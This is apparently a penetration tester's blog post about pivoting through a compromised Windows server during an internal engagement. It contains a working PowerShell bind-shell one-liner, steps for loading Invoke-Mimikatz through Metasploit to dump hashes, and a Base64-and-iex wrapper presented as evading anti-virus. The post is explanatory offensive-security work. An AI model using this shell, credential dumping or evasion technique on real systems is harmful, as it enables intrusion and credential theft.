Powershelling with exploits
It should be no surprise to our regular readers how powerful PowerShell (pun intended) really is. In last couple of years, it has become the main weapon of not only white hat penetration testing, but also various attackers.
Recently I had to perform some pivoting through a compromised box. It had a specific exploit which was not available in Metasploit, but allowed an attacker to execute any command on the vulnerable server. The caveat was that the server could not establish external connection, however all connections to the server were allowed (it was an internal engagement) so instead of using a reverse shell, I used a simple bind TCP shell (powershell).
The easiest way to do this is to use the Invoke-PowerShellTcp.ps1 script from the Nishang collection (https://github.com/samratashok/nishang). This is a reverse PowerShell script, so a little bit of modification was needed to make it a bind TCP shell, as below:
$listener = [System.Net.Sockets.TcpListener]7777;$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \\"PS \\" + (pwd).Path + \\" \\";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
This one-liner will create a bind TCP PowerShell on port 7777. Sweet. Now that this works, the rest of the job should be easy right? We can normally use the exploit/multi/handler module from Metasploit which will allow us to connect to the previously open PowerShell. While this cannot be upgraded to Meterpreter, the logical next step would be to invoke Mimikatz to dump available hashes.
However, here there was a small problem. Since reverse connections cannot be created, the way this is normally done is by using the windows/manage/powershell/load_script post exploitation module. This module loads a PowerShell script and executes it. The idea here is to use it to invoke Mimikatz (the Invoke-Mimikatz.ps1 script from the PowerSploit collection at https://github.com/PowerShellMafia/PowerSploit).
For some reason, though, this did not work. The script was correctly pushed by encoding it however the execution somewhere failed. Inspection of the load_script module showed that it is very simple: it just takes the PowerShell script (or a directory) and uses the stage_psh_env method from the Msf::Post::Windows::Powershell module. This method is defined in the lib/msf/core/post/windows/powershell.rb file and we can see that it takes the source script, splits it into chunks of up to 14999 bytes, encodes with Base64 and sends to the remote shell as a variable. After it has been successfully uploaded, the Metasploit module decodes the variable and executes it with the iex PowerShell command (Invoke Expression).
But, as I said, for some reason this did not work. The default PowerShell script got transferred and executed correctly, but Invoke-Mimikatz.ps1 simply did not work. So after some experimenting I found out that I can do the same thing as Metasploit – I can create a variable which contains Base64 encoded PowerShell script and execute it after decoding with the iex command. This is actually done twice: once by my script and the other time by Metasploit while transferring this new script.
This turned out to be the solution – first I had to encode Invoke-Mimikatz.ps1 into a (huge) variable and then simply copy it into a new script that will eventually be pushed with the windows/manage/powershell/load_script module.
Encoding Invoke-Mimikatz.ps1 to Base64 is simple – we can use PowerShell to do that too:
PS D:\> $temp = Get-Content .\Invoke-Mimikatz.ps1
PS D:\> $bytes = [System.Text.Encoding]::UTF8.GetBytes($temp)
PS D:\> $encoded = [System.Convert]::ToBase64String($bytes)
Now the variable $encoded has the Base64 encoded Invoke-Mimikatz.ps1 script, so the resulting PS1 script will look like this:
$encoded = 'ZnVuY3 .. rest of the Base64 encoded script '
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($encoded)) | iex
Simple and effective. And once the hashes have been dumped … we know it‘s game over really. And as a plus, this will also evade most (all?) anti-viruses that might be detecting the Invoke-Mimikatz.ps1 script directly.
Do you have other interesting PowerShell exploitation stories?
Web App Penetration Testing and Ethical Hacking | Amsterdam | Mar 31st - Apr 5th 2025 |
Comments
Demonstration Link: https://www.youtube.com/watch?v=phVYRs-v1i0
Anonymous
May 3rd 2017
7 years ago